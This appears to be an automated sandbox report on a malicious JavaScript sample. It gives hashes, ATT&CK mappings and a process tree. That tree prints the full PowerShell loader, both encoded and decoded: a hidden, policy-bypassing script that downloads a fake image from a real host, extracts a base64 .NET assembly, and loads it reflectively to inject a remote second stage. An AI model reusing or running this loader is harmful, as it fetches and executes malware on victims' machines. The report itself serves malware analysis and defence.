4f5e01d7c0ec6e6e9df19f76924c71b10dc552992601db2ed326c9fa07265203

General

Target
4f5e01d7c0ec6e6e9df19f76924c71b10dc552992601db2ed326c9fa07265203.js
Size 13KB
Sample240613-blybxssdml
SHA256 4f5e01d7c0ec6e6e9df19f76924c71b10dc552992601db2ed326c9fa07265203
MD5 32ec4885a3bdd50032c17696bc33f7c9
SHA1 1370d84afb6925a7089432e96c600377a3fb5d3d
SHA512 fc59fc5fa59c8475e5d2fddbf1d3e8b49c60c3077b0d14547137ff499103a2bc066b0e5ab1f97f57b0551e8a1d5987102439e8c93e50df760fa18d38ff109432
SSDEEP 192:rl4nqvnGMCtI8vPc2BWAK/MbQ2B6Bn/Wlxj4eOEtVGYc8NV:rlx1YI8vPFM+b5YNY7TBc8T
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1720	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4736	powershell.exe
1720	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4736	powershell.exe
4736	powershell.exe
1720	powershell.exe
1720	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	1720	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 380 wrote to memory of 4736	380	wscript.exe	92
PID 380 wrote to memory of 4736	380	wscript.exe	92
PID 4736 wrote to memory of 1720	4736	powershell.exe	94
PID 4736 wrote to memory of 1720	4736	powershell.exe	94

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4f5e01d7c0ec6e6e9df19f76924c71b10dc552992601db2ed326c9fa07265203.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc5NC84OTgvb3JpZ2luYWwvbmV3X2ltYWdlLmpwZz8xNzE3ODU1OTQ4JywgJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc5NC84OTgvb3JpZ2luYWwvbmV3X2ltYWdlLmpwZz8xNzE3ODU1OTQ4Jyk7ICRpbWFnZUJ5dGVzID0gRG93bmxvYWREYXRhRnJvbUxpbmtzICRsaW5rczsgaWYgKCRpbWFnZUJ5dGVzIC1uZSAkbnVsbCkgeyAkaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGltYWdlQnl0ZXMpOyAkc3RhcnRGbGFnID0gJzw8QkFTRTY0X1NUQVJUPj4nOyAkZW5kRmxhZyA9ICc8PEJBU0U2NF9FTkQ+Pic7ICRzdGFydEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRzdGFydEZsYWcpOyAkZW5kSW5kZXggPSAkaW1hZ2VUZXh0LkluZGV4T2YoJGVuZEZsYWcpOyBpZiAoJHN0YXJ0SW5kZXggLWdlIDAgLWFuZCAkZW5kSW5kZXggLWd0ICRzdGFydEluZGV4KSB7ICRzdGFydEluZGV4ICs9ICRzdGFydEZsYWcuTGVuZ3RoOyAkYmFzZTY0TGVuZ3RoID0gJGVuZEluZGV4IC0gJHN0YXJ0SW5kZXg7ICRiYXNlNjRDb21tYW5kID0gJGltYWdlVGV4dC5TdWJzdHJpbmcoJHN0YXJ0SW5kZXgsICRiYXNlNjRMZW5ndGgpOyAkY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYmFzZTY0Q29tbWFuZCk7ICRsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGNvbW1hbmRCeXRlcyk7ICR0eXBlID0gJGxvYWRlZEFzc2VtYmx5LkdldFR5cGUoJ1J1blBFLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LnN5ZC8xNy45My4zMjEuMzkvLzpwdHRoJyAsICdkZXNhdGl2YWRvJyAsICdkZXNhdGl2YWRvJyAsICdkZXNhdGl2YWRvJywnQWRkSW5Qcm9jZXNzMzInLCdkZXNhdGl2YWRvJykpfX0=';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/794/898/original/new_image.jpg?1717855948', 'https://uploaddeimagens.com.br/images/004/794/898/original/new_image.jpg?1717855948'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunPE.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.syd/17.93.321.39//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1720

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=2816,i,6522675234395427298,2952738987384583032,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:8
1⤵
PID:2868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 192B
SHA256 3f42c1709c66822815b4160407207364ad6b5f38253602206517931c5f386922
MD5 bb1cda8698eadd0f6da43b1b990c3716
SHA1 edd020e7e1ba65dc43f88592d9c88b714a42f5f5
SHA512 b8b47828485797c01be73f771c48ff97b74d741a09123cc9978093c1ac561964768fe4dfc44c6f332e52080d7819a2e72a473604b9ef7c92f9e725066b772185
MD5 SHA1 SHA512

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__PSScriptPolicyTest_vnb5xmn0.tvn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vnb5xmn0.tvn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4736-0-0x00007FFD40393000-0x00007FFD40395000-memory.dmp

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memory/4736-1-0x000002A3A8260000-0x000002A3A8282000-memory.dmp

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memory/4736-11-0x00007FFD40390000-0x00007FFD40E51000-memory.dmp

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memory/4736-12-0x00007FFD40390000-0x00007FFD40E51000-memory.dmp

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memory/4736-27-0x00007FFD40390000-0x00007FFD40E51000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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